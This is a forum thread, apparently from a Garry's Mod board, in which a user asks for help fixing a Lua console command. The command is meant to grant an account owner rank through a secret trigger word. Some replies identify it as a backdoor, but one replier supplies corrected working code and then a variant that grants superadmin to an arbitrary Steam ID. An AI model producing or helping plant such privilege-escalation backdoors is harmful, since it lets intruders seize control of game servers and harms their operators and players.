Hai guys i was working on adding a concommand into luarun but it is not working properply it is post to add the player to the rank when the *word* is said in console
concommand.Add("Nudesloveschicken", function() RunConsoleCommand("ulx adduser Nudiez owner") end)
Help's appreciated C:
[QUOTE=magnusmm1999;50266804]Hai guys i was working on adding a concommand into luarun but it is not working properply it is post to add the player to the rank when the *word* is said in console
concommand.Add("Nudesloveschicken", function() RunConsoleCommand("ulx adduser Nudiez owner") end)
Help's appreciated C:[/QUOTE]
You want help backdooring something don't you. :weeb:
Or he probably thought Lua was some kind of cheat code system.
ergh...
"Note, that unlike Player:ConCommand, [B]you must pass each argument as a new string, not separating them with a space.[/B]"
[url]http://wiki.garrysmod.com/page/Global/RunConsoleCommand[/url]
[QUOTE=Tenrys;50267322]Or he probably thought Lua was some kind of cheat code system.[/QUOTE]
Except the code is meant to elevate privileges. I mean [B]Nudesloveschicken[/B] trying to trigger [B]ulx adduser Nudiez owner[/B]
I don't think you're that naive.
[QUOTE=Padle;50267402]ergh...
[/QUOTE]
Don't help randoms with creating malicious code. It's detrimental to the community as a whole.
[lua]
concommand.Add("Nudesloveschicken", function()
RunConsoleCommand("ulx", "adduser", "Nudiez", "owner")
end )
[/lua]
happy christmas
also using code like that & placing it on the clients won't work well
edit: because i was rated dumb, i'll go a step further
[lua]
concommand.Add("Nudesloveschicken", function()
RunConsoleCommand("ulx", "adduserid", "place your id in here", "superadmin") //server group changed, just in case owner group doesn't exist. edit your id in the third string
end )
[/lua]
Sorry, you need to Log In to post a reply to this thread.